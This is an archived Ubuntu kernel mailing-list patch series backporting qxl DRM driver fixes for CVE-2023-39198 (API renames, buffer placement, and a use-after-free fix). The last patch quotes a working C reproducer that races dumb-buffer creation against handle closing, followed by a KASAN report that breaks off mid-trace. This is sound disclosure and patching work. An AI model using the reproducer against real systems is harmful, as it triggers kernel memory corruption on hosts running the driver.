b=EIKErNEYALWmEQuxpgTtbP3rBYJdlm+wZTNXgm+pq2jTmgBFQVdi3X7RpBGRrrkmsF P/9ybVaU2/WkuWcN6OGhI8WdP795SyQv92bWrHP6VgiPEyf6In/XzsIDD+0gqfsfI3i2 VQr+GDDyFnRJPHeVrtbRBNaYzs0AyjEWoOAn501BXYoATVWraxgdFy9/9tN8sMfXApl/ y8RPJgVFwqXq1vL2XHNGEZVnD4JvesqL5vuE8YOZo/cVUWR/Qq23Og66sC1eHcMeEM0D 33hBFvaQovyrFzUnRAaNqMXU6Z5QaZ6mJbSsnMZdpOnRQMyo+TDYszCJfIkwn06rBfJZ 98uQ== X-Gm-Message-State: AOJu0Yy+mGqKRdA2IESDtSCQwYxwxKTUXgVh1o+umamGP6/QaR4JvAfg AH+ICSeBdhEe6LaPKZvMr6tarO2EGrktnYUvVHu/mSKVsH3KDT5S7PIEImLl1GZ1j+xnvzZ2utx Lor5/waLPJgKhH40YMvlwe6VdEaUuNzhiyNf974l8+07+kaD3dG2NscDfcwg5o39ggzgbXDbb2v zygHmGqRmzpg== X-Received: by 2002:a05:6214:5841:b0:690:b0e3:707f with SMTP id ml1-20020a056214584100b00690b0e3707fmr156824qvb.37.1709928714490; Fri, 08 Mar 2024 12:11:54 -0800 (PST) X-Google-Smtp-Source: AGHT+IHq4qTian1ILdhFq4rVFEnnBIAHkGM+xjOliPlb8Lx+UxYMWS1SxAufKj6DhU5hx3BkkFlaHg== X-Received: by 2002:a05:6214:5841:b0:690:b0e3:707f with SMTP id ml1-20020a056214584100b00690b0e3707fmr156806qvb.37.1709928714172; Fri, 08 Mar 2024 12:11:54 -0800 (PST) Received: from smtp.gmail.com (104-218-69-129.dynamic.lnk.ne.allofiber.net. [104.218.69.129]) by smtp.gmail.com with ESMTPSA id el18-20020ad459d2000000b0069044802760sm64238qvb.120.2024.03.08.12.11.53 for (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 08 Mar 2024 12:11:53 -0800 (PST) From: Bethany Jamison To: kernel-team@lists.ubuntu.com Subject: [SRU][F][PATCH v2 4/7] drm/gem: add drm_gem_object_put helper Date: Fri, 8 Mar 2024 14:11:47 -0600 Message-Id: <20240308201150.25987-5-bethany.jamison@canonical.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20240308201150.25987-1-bethany.jamison@canonical.com> References: <20240308201150.25987-1-bethany.jamison@canonical.com> MIME-Version: 1.0 X-BeenThere: kernel-team@lists.ubuntu.com X-Mailman-Version: 2.1.20 Precedence: list List-Id: Kernel team discussions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: kernel-team-bounces@lists.ubuntu.com Sender: "kernel-team" From: Emil Velikov Spelling out _unlocked for each and every driver is a annoying. Especially if we consider how many drivers, do not know (or need to) about the horror stories involving struct_mutex. Add helper, which will allow us to transition the drivers one by one, dropping the suffix. v2: add missing space after function name (Jani) Signed-off-by: Emil Velikov Acked-by: Sam Ravnborg (v1) Reviewed-by: Steven Price Acked-by: Thomas Zimmermann Link: https://patchwork.freedesktop.org/patch/msgid/20200515095118.2743122-13-emil.l.velikov@gmail.com (cherry picked from commit 2f4dd13d4bb8a85f6d5b66a18989509924e4f5e9) CVE-2023-39198 Signed-off-by: Bethany Jamison --- include/drm/drm_gem.h | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/include/drm/drm_gem.h b/include/drm/drm_gem.h index 585addb0cd1c..8c9a2748acd8 100644 --- a/include/drm/drm_gem.h +++ b/include/drm/drm_gem.h @@ -350,17 +350,19 @@ static inline void drm_gem_object_get(struct drm_gem_object *obj) } /** - * drm_gem_object_put_unlocked - drop a GEM buffer object reference + * drm_gem_object_put - drop a GEM buffer object reference * @obj: GEM buffer object * * This releases a reference to @obj. */ static inline void -drm_gem_object_put_unlocked(struct drm_gem_object *obj) +drm_gem_object_put(struct drm_gem_object *obj) { kref_put(&obj->refcount, drm_gem_object_free); } +#define drm_gem_object_put_unlocked drm_gem_object_put + void drm_gem_object_put_locked(struct drm_gem_object *obj); int drm_gem_handle_create(struct drm_file *file_priv, From patchwork Fri Mar 8 20:11:48 2024 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Bethany Jamison X-Patchwork-Id: 1909851 Return-Path: X-Original-To: incoming@patchwork.ozlabs.org Delivered-To: patchwork-incoming@legolas.ozlabs.org Authentication-Results: legolas.ozlabs.org; spf=pass (sender SPF authorized) smtp.mailfrom=lists.ubuntu.com (client-ip=185.125.189.65; helo=lists.ubuntu.com; envelope-from=kernel-team-bounces@lists.ubuntu.com; receiver=patchwork.ozlabs.org) Received: from lists.ubuntu.com (lists.ubuntu.com [185.125.189.65]) (using TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by legolas.ozlabs.org (Postfix) with ESMTPS id 4Try6Q18v0z1yWx for ; Sat, 9 Mar 2024 07:13:34 +1100 (AEDT) Received: from localhost ([127.0.0.1] helo=lists.ubuntu.com) by lists.ubuntu.com with esmtp (Exim 4.86_2) (envelope-from ) id 1rigak-0007cp-Tj; Fri, 08 Mar 2024 20:13:19 +0000 Received: from smtp-relay-internal-0.internal ([10.131.114.225] helo=smtp-relay-internal-0.canonical.com) by lists.ubuntu.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.86_2) (envelope-from ) id 1rigZS-0007Dx-IQ for kernel-team@lists.ubuntu.com; Fri, 08 Mar 2024 20:11:59 +0000 Received: from mail-qv1-f72.google.com (mail-qv1-f72.google.com [209.85.219.72]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by smtp-relay-internal-0.canonical.com (Postfix) with ESMTPS id 8479F4113A for ; Fri, 8 Mar 2024 20:11:57 +0000 (UTC) Received: by mail-qv1-f72.google.com with SMTP id 6a1803df08f44-68fa064556eso22562166d6.3 for ; Fri, 08 Mar 2024 12:11:57 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1709928715; x=1710533515; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=WTZNSLDGhls6OJvUxCB+8ncG6vY9thaCFdxafoUw/og=; b=RP5iyQ8YttvnG3nGo5e78NqQAWXMJdKIBmRYdP/O+REbZ2RWSEYXQWo3r2wOwyfqFz LGQ8hiE/nVlbtpCsLO2LJnhcjoEVrxe9yOLXY0xx7dlLLJVt/X3Y94+5ZdrXeaXJfXi7 I8SRMOYGflDBxITJZy9ZCDrv183zbDpOH+8zlyOFY3d4O2Of4Bmfo7qwQUuPfk04HEM6 GbyDybVACoDtHom3Md+B7hrqS5EmcqfeJ/nLpRT5vHSrSfK6+7CvsTYsbVfBL/eh/DlX mhRc7C6JnzCjma2+F/XUf6HEvzp7D/vSfVdhh+hU5836QPZMwCp0ClY3OH3NVrN9JEsE GQUw== X-Gm-Message-State: AOJu0YyjrYqveVtEXMZJyDu//wzmhKRSy94MblQqod7XvAzFLwCGX1mI rJBphfQpXBo0UU6EU/Pdgm3c4yAXf0/L1OAyQLA43xoXmIY0i8Z+Fz1tNifKSAr+OiXpme4dLiU Kr2Ui+RMjRizL+c/rPD8gxp12CP8oc9DWc3kgT51zMA1CqImIwN93ivulToGi5eddnMquff2gYe gR/LVEwutMlw== X-Received: by 2002:a05:6214:180e:b0:690:b32e:4 with SMTP id o14-20020a056214180e00b00690b32e0004mr127863qvw.43.1709928715085; Fri, 08 Mar 2024 12:11:55 -0800 (PST) X-Google-Smtp-Source: AGHT+IG0iTg0ODyWsaLWmq1z0OA8VHZ+JjnwQvapc9nylFf+f5fzUVMO0Q2DkpwgO5Kf7XSBUo4wNQ== X-Received: by 2002:a05:6214:180e:b0:690:b32e:4 with SMTP id o14-20020a056214180e00b00690b32e0004mr127846qvw.43.1709928714766; Fri, 08 Mar 2024 12:11:54 -0800 (PST) Received: from smtp.gmail.com (104-218-69-129.dynamic.lnk.ne.allofiber.net. [104.218.69.129]) by smtp.gmail.com with ESMTPSA id el18-20020ad459d2000000b0069044802760sm64238qvb.120.2024.03.08.12.11.54 for (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 08 Mar 2024 12:11:54 -0800 (PST) From: Bethany Jamison To: kernel-team@lists.ubuntu.com Subject: [SRU][F][PATCH v2 5/7] drm/qxl: remove _unlocked suffix in drm_gem_object_put_unlocked Date: Fri, 8 Mar 2024 14:11:48 -0600 Message-Id: <20240308201150.25987-6-bethany.jamison@canonical.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20240308201150.25987-1-bethany.jamison@canonical.com> References: <20240308201150.25987-1-bethany.jamison@canonical.com> MIME-Version: 1.0 X-BeenThere: kernel-team@lists.ubuntu.com X-Mailman-Version: 2.1.20 Precedence: list List-Id: Kernel team discussions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: kernel-team-bounces@lists.ubuntu.com Sender: "kernel-team" From: Emil Velikov Spelling out _unlocked for each and every driver is a annoying. Especially if we consider how many drivers, do not know (or need to) about the horror stories involving struct_mutex. Just drop the suffix. It makes the API cleaner. Done via the following script: __from=drm_gem_object_put_unlocked __to=drm_gem_object_put for __file in $(git grep --name-only $__from); do sed -i "s/$__from/$__to/g" $__file; done Cc: Dave Airlie Cc: Gerd Hoffmann Cc: David Airlie Signed-off-by: Emil Velikov Acked-by: Sam Ravnborg Acked-by: Gerd Hoffmann Acked-by: Thomas Zimmermann Link: https://patchwork.freedesktop.org/patch/msgid/20200515095118.2743122-29-emil.l.velikov@gmail.com (cherry picked from commit 9c86fb18ad9d3587e5112f096f0d0ec3cbf43a65) CVE-2023-39198 Signed-off-by: Bethany Jamison --- drivers/gpu/drm/qxl/qxl_cmd.c | 2 +- drivers/gpu/drm/qxl/qxl_display.c | 6 +++--- drivers/gpu/drm/qxl/qxl_dumb.c | 2 +- drivers/gpu/drm/qxl/qxl_gem.c | 2 +- drivers/gpu/drm/qxl/qxl_ioctl.c | 4 ++-- drivers/gpu/drm/qxl/qxl_object.c | 4 ++-- 6 files changed, 10 insertions(+), 10 deletions(-) diff --git a/drivers/gpu/drm/qxl/qxl_cmd.c b/drivers/gpu/drm/qxl/qxl_cmd.c index d082c194cccc..0b59ab25d69f 100644 --- a/drivers/gpu/drm/qxl/qxl_cmd.c +++ b/drivers/gpu/drm/qxl/qxl_cmd.c @@ -377,7 +377,7 @@ void qxl_io_destroy_primary(struct qxl_device *qdev) { wait_for_io_cmd(qdev, 0, QXL_IO_DESTROY_PRIMARY_ASYNC); qdev->primary_bo->is_primary = false; - drm_gem_object_put_unlocked(&qdev->primary_bo->tbo.base); + drm_gem_object_put(&qdev->primary_bo->tbo.base); qdev->primary_bo = NULL; } diff --git a/drivers/gpu/drm/qxl/qxl_display.c b/drivers/gpu/drm/qxl/qxl_display.c index a6ee10cbcfdd..cea8b7603326 100644 --- a/drivers/gpu/drm/qxl/qxl_display.c +++ b/drivers/gpu/drm/qxl/qxl_display.c @@ -797,7 +797,7 @@ static int qxl_plane_prepare_fb(struct drm_plane *plane, qdev->dumb_shadow_bo->surf.width != surf.width || qdev->dumb_shadow_bo->surf.height != surf.height) { if (qdev->dumb_shadow_bo) { - drm_gem_object_put_unlocked + drm_gem_object_put (&qdev->dumb_shadow_bo->tbo.base); qdev->dumb_shadow_bo = NULL; } @@ -807,7 +807,7 @@ static int qxl_plane_prepare_fb(struct drm_plane *plane, } if (user_bo->shadow != qdev->dumb_shadow_bo) { if (user_bo->shadow) { - drm_gem_object_put_unlocked + drm_gem_object_put (&user_bo->shadow->tbo.base); user_bo->shadow = NULL; } @@ -842,7 +842,7 @@ static void qxl_plane_cleanup_fb(struct drm_plane *plane, qxl_bo_unpin(user_bo); if (old_state->fb != plane->state->fb && user_bo->shadow) { - drm_gem_object_put_unlocked(&user_bo->shadow->tbo.base); + drm_gem_object_put(&user_bo->shadow->tbo.base); user_bo->shadow = NULL; } } diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c index 4a0dc1348097..bddd6544f2c8 100644 --- a/drivers/gpu/drm/qxl/qxl_dumb.c +++ b/drivers/gpu/drm/qxl/qxl_dumb.c @@ -85,6 +85,6 @@ int qxl_mode_dumb_mmap(struct drm_file *file_priv, return -ENOENT; qobj = gem_to_qxl_bo(gobj); *offset_p = qxl_bo_mmap_offset(qobj); - drm_gem_object_put_unlocked(gobj); + drm_gem_object_put(gobj); return 0; } diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c index 69f37db1027a..a6ae0b0594ee 100644 --- a/drivers/gpu/drm/qxl/qxl_gem.c +++ b/drivers/gpu/drm/qxl/qxl_gem.c @@ -97,7 +97,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, return r; /* drop reference from allocate - handle holds it now */ *qobj = gem_to_qxl_bo(gobj); - drm_gem_object_put_unlocked(gobj); + drm_gem_object_put(gobj); return 0; } diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c index 72f3f1bbb40c..0ab14c17df3f 100644 --- a/drivers/gpu/drm/qxl/qxl_ioctl.c +++ b/drivers/gpu/drm/qxl/qxl_ioctl.c @@ -125,7 +125,7 @@ static int qxlhw_handle_to_bo(struct drm_file *file_priv, uint64_t handle, qobj = gem_to_qxl_bo(gobj); ret = qxl_release_list_add(release, qobj); - drm_gem_object_put_unlocked(gobj); + drm_gem_object_put(gobj); if (ret) return ret; @@ -344,7 +344,7 @@ static int qxl_update_area_ioctl(struct drm_device *dev, void *data, qxl_bo_unreserve(qobj); out: - drm_gem_object_put_unlocked(gobj); + drm_gem_object_put(gobj); return ret; } diff --git a/drivers/gpu/drm/qxl/qxl_object.c b/drivers/gpu/drm/qxl/qxl_object.c index 548dfe6f3b26..fcd498124c68 100644 --- a/drivers/gpu/drm/qxl/qxl_object.c +++ b/drivers/gpu/drm/qxl/qxl_object.c @@ -214,7 +214,7 @@ void qxl_bo_unref(struct qxl_bo **bo) if ((*bo) == NULL) return; - drm_gem_object_put_unlocked(&(*bo)->tbo.base); + drm_gem_object_put(&(*bo)->tbo.base); *bo = NULL; } @@ -316,7 +316,7 @@ void qxl_bo_force_delete(struct qxl_device *qdev) list_del_init(&bo->list); mutex_unlock(&qdev->gem.mutex); /* this should unref the ttm bo */ - drm_gem_object_put_unlocked(&bo->tbo.base); + drm_gem_object_put(&bo->tbo.base); } } From patchwork Fri Mar 8 20:11:49 2024 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Bethany Jamison X-Patchwork-Id: 1909847 Return-Path: X-Original-To: incoming@patchwork.ozlabs.org Delivered-To: patchwork-incoming@legolas.ozlabs.org Authentication-Results: legolas.ozlabs.org; spf=pass (sender SPF authorized) smtp.mailfrom=lists.ubuntu.com (client-ip=185.125.189.65; helo=lists.ubuntu.com; envelope-from=kernel-team-bounces@lists.ubuntu.com; receiver=patchwork.ozlabs.org) Received: from lists.ubuntu.com (lists.ubuntu.com [185.125.189.65]) (using TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by legolas.ozlabs.org (Postfix) with ESMTPS id 4Try5X0PKKz1yWx for ; Sat, 9 Mar 2024 07:12:48 +1100 (AEDT) Received: from localhost ([127.0.0.1] helo=lists.ubuntu.com) by lists.ubuntu.com with esmtp (Exim 4.86_2) (envelope-from ) id 1riga1-0007Jd-Ef; Fri, 08 Mar 2024 20:12:34 +0000 Received: from smtp-relay-internal-0.internal ([10.131.114.225] helo=smtp-relay-internal-0.canonical.com) by lists.ubuntu.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.86_2) (envelope-from ) id 1rigZS-0007Dy-KA for kernel-team@lists.ubuntu.com; Fri, 08 Mar 2024 20:11:59 +0000 Received: from mail-qv1-f69.google.com (mail-qv1-f69.google.com [209.85.219.69]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by smtp-relay-internal-0.canonical.com (Postfix) with ESMTPS id C68334113B for ; Fri, 8 Mar 2024 20:11:57 +0000 (UTC) Received: by mail-qv1-f69.google.com with SMTP id 6a1803df08f44-690bc8d4544so3516876d6.2 for ; Fri, 08 Mar 2024 12:11:57 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1709928715; x=1710533515; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=shpaiey1wnDBizjVRtoUWJUsuLe/Q4kWUgBVumWCzOA=; b=FhG0CqtR2WQ3/UFC3UaPe6iw8oOCcBrq8oZkqZykbr59rMV5NE/qGYbd3A0KFhfRq3 whQaRZhS5mptep3rb9yfSblIV5VyuLkUT1mDYKU6A/WAjhK6Bz0a+TvCBDdA9GN26QDh kTfB8Tmp9XrEy7prKN4o8eR2/rw/6+E2Nu+PBGgsTGPQENBM3Vea/ghbu3DFdZkm1Ayt mAFaHujM7r4N0/TpdNbaBrBfhrVO9YKRWQXe2J6hKMaJlDI2UYSs0ttztQLiakqTaF1G 1A4HqGWHW14/2sZecwWMaYtDPY1dJ3dvdazOxLNK8vkKysQmWeku3ng26ceCp5reUtJU VJyQ== X-Gm-Message-State: AOJu0YxCUPNTrPdrhfDDDwhVJqd9RhZaGkGmfd4gIAAyQYkJdSLrLEnF NbISVJ3wIzEjyQTZtEhPeQ3amObr0AjtMJXBwe9ZtR7RNJnvl+uuNdx9rAIcVLI6x1hd+FhxUHM e3Oe+iTEvV3EC2/Ju79y0dI1yaKzV5K1JIA7z661zPHdwm7I/gT3zZHf4ikle78fOT5XxOkE4A+ E594QEdbuLeA== X-Received: by 2002:a05:6214:1888:b0:690:b40a:a484 with SMTP id cx8-20020a056214188800b00690b40aa484mr159395qvb.30.1709928715661; Fri, 08 Mar 2024 12:11:55 -0800 (PST) X-Google-Smtp-Source: AGHT+IHzJMDCGzd0YcA976clg33o6cYD1g8EM2OoKwkQztCqjd7GpF6SMzjSlpawJQi3D79RGKBJpg== X-Received: by 2002:a05:6214:1888:b0:690:b40a:a484 with SMTP id cx8-20020a056214188800b00690b40aa484mr159384qvb.30.1709928715382; Fri, 08 Mar 2024 12:11:55 -0800 (PST) Received: from smtp.gmail.com (104-218-69-129.dynamic.lnk.ne.allofiber.net. [104.218.69.129]) by smtp.gmail.com with ESMTPSA id el18-20020ad459d2000000b0069044802760sm64238qvb.120.2024.03.08.12.11.54 for (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 08 Mar 2024 12:11:55 -0800 (PST) From: Bethany Jamison To: kernel-team@lists.ubuntu.com Subject: [SRU][F][PATCH v2 6/7] drm/qxl: allocate dumb buffers in ram Date: Fri, 8 Mar 2024 14:11:49 -0600 Message-Id: <20240308201150.25987-7-bethany.jamison@canonical.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20240308201150.25987-1-bethany.jamison@canonical.com> References: <20240308201150.25987-1-bethany.jamison@canonical.com> MIME-Version: 1.0 X-BeenThere: kernel-team@lists.ubuntu.com X-Mailman-Version: 2.1.20 Precedence: list List-Id: Kernel team discussions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: kernel-team-bounces@lists.ubuntu.com Sender: "kernel-team" From: Gerd Hoffmann dumb buffers are shadowed anyway, so there is no need to store them in device memory. Use QXL_GEM_DOMAIN_CPU (TTM_PL_SYSTEM) instead. Signed-off-by: Gerd Hoffmann Acked-by: Thomas Zimmermann Link: http://patchwork.freedesktop.org/patch/msgid/20210204145712.1531203-11-kraxel@redhat.com (cherry picked from commit f4a84e165e6d58606097dd07b5b78767a94b870c) CVE-2023-39198 Signed-off-by: Bethany Jamison --- drivers/gpu/drm/qxl/qxl_dumb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c index bddd6544f2c8..7a79da125547 100644 --- a/drivers/gpu/drm/qxl/qxl_dumb.c +++ b/drivers/gpu/drm/qxl/qxl_dumb.c @@ -61,7 +61,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, surf.data = 0; r = qxl_gem_object_create_with_handle(qdev, file_priv, - QXL_GEM_DOMAIN_SURFACE, + QXL_GEM_DOMAIN_CPU, args->size, &surf, &qobj, &handle); if (r) From patchwork Fri Mar 8 20:11:50 2024 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Bethany Jamison X-Patchwork-Id: 1909854 Return-Path: X-Original-To: incoming@patchwork.ozlabs.org Delivered-To: patchwork-incoming@legolas.ozlabs.org Authentication-Results: legolas.ozlabs.org; spf=pass (sender SPF authorized) smtp.mailfrom=lists.ubuntu.com (client-ip=185.125.189.65; helo=lists.ubuntu.com; envelope-from=kernel-team-bounces@lists.ubuntu.com; receiver=patchwork.ozlabs.org) Received: from lists.ubuntu.com (lists.ubuntu.com [185.125.189.65]) (using TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by legolas.ozlabs.org (Postfix) with ESMTPS id 4Try6h1D6bz1yWx for ; Sat, 9 Mar 2024 07:13:48 +1100 (AEDT) Received: from localhost ([127.0.0.1] helo=lists.ubuntu.com) by lists.ubuntu.com with esmtp (Exim 4.86_2) (envelope-from ) id 1rigb1-0007pO-8A; Fri, 08 Mar 2024 20:13:35 +0000 Received: from smtp-relay-internal-1.internal ([10.131.114.114] helo=smtp-relay-internal-1.canonical.com) by lists.ubuntu.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.86_2) (envelope-from ) id 1rigZT-0007Ds-PR for kernel-team@lists.ubuntu.com; Fri, 08 Mar 2024 20:12:00 +0000 Received: from mail-qv1-f69.google.com (mail-qv1-f69.google.com [209.85.219.69]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by smtp-relay-internal-1.canonical.com (Postfix) with ESMTPS id AF8D948A96 for ; Fri, 8 Mar 2024 20:11:57 +0000 (UTC) Received: by mail-qv1-f69.google.com with SMTP id 6a1803df08f44-690ae45286fso17554576d6.2 for ; Fri, 08 Mar 2024 12:11:57 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1709928716; x=1710533516; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=m7SbK39ydOhwYhSVC8cgtULkWRs9rCInYGqLHa3oErI=; b=RzXdGFsQZzeoWS8cVe525TRs1ZGKLKiJM6p23dQZss51FDeF+rKV1kLZWa2paXQ0IP RKCP0sDbDCkcwCDuQsc4+C7ejqpeB6e1gzJ0wbOcOIiC+hNca88Li2GCmFgIW3RSippz gVNiH4D3UY9rkcDT+eaB4eJWl4shSvEWhZDDDwYGjhzbcWoDTRyclzs2XxKFZGZLOzJl LepGaPRa81obThBUTlSkhR9l53z2mO0/aF/2so3Det3QkAMTSgirJe9LQffnX0284iqx ZJOE1jG3NVXyKnr8mLmmeyB1QMTgZrFWHg9U8nProuhfeeHj1zpbfwI1y3VJSEsbpkNB 6O0Q== X-Gm-Message-State: AOJu0Yw0xlOiPRC/Ri5H9toIgajlaYcNX5GH0kuRLBWK6G64taleoCdL hXLq9fFV2p6/RVcLNdQaSE/U/D3G+R1rSUurzMfBWhV7nGYCrUcwd+y/mccj606rEoQWONfC/ke o03snWzqs/kDeM1FDnQyf2WhXk1aWVkVHV7qjuGcl4FwmzKm3T3HWjVTajhATHQ9pBN3UQ0+pLt YqSg0uG86Y9Q== X-Received: by 2002:a0c:de11:0:b0:690:b2c3:bfed with SMTP id t17-20020a0cde11000000b00690b2c3bfedmr134655qvk.33.1709928716495; Fri, 08 Mar 2024 12:11:56 -0800 (PST) X-Google-Smtp-Source: AGHT+IEolDGXYMFNzVvmb1xNJgZHHgXBZY7w8brDCU52Wa9V1V5aDC1HZQhyEfCSpcvRcWidqPjSHA== X-Received: by 2002:a0c:de11:0:b0:690:b2c3:bfed with SMTP id t17-20020a0cde11000000b00690b2c3bfedmr134641qvk.33.1709928716008; Fri, 08 Mar 2024 12:11:56 -0800 (PST) Received: from smtp.gmail.com (104-218-69-129.dynamic.lnk.ne.allofiber.net. [104.218.69.129]) by smtp.gmail.com with ESMTPSA id el18-20020ad459d2000000b0069044802760sm64238qvb.120.2024.03.08.12.11.55 for (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 08 Mar 2024 12:11:55 -0800 (PST) From: Bethany Jamison To: kernel-team@lists.ubuntu.com Subject: [SRU][F][PATCH v2 7/7] drm/qxl: fix UAF on handle creation Date: Fri, 8 Mar 2024 14:11:50 -0600 Message-Id: <20240308201150.25987-8-bethany.jamison@canonical.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20240308201150.25987-1-bethany.jamison@canonical.com> References: <20240308201150.25987-1-bethany.jamison@canonical.com> MIME-Version: 1.0 X-BeenThere: kernel-team@lists.ubuntu.com X-Mailman-Version: 2.1.20 Precedence: list List-Id: Kernel team discussions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: kernel-team-bounces@lists.ubuntu.com Sender: "kernel-team" From: Wander Lairson Costa qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it. A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario. Reproducer: int dri_fd =-1; struct drm_mode_create_dumb arg = {0}; void gem_close(int handle); void* trigger(void* ptr) { int ret; arg.width = arg.height = 0x20; arg.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg); if(ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } gem_close(arg.handle); while(1) { struct drm_mode_create_dumb args = {0}; args.width = args.height = 0x20; args.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args); if (ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle); gem_close(args.handle); } return NULL; } void gem_close(int handle) { struct drm_gem_close args; args.handle = handle; int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle if (!ret) printf("gem close handle %d\n", args.handle); } int main(void) { dri_fd= open("/dev/dri/card0", O_RDWR); printf("fd:%d\n", dri_fd); if(dri_fd == -1) return -1; pthread_t tid1; if(pthread_create(&tid1,NULL,trigger,NULL)){ perror("[*] thread_create tid1\n"); return -1; } while (1) { gem_close(arg.handle); } return 0; } This is a KASAN report: ================================================================== BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515 CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48 RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 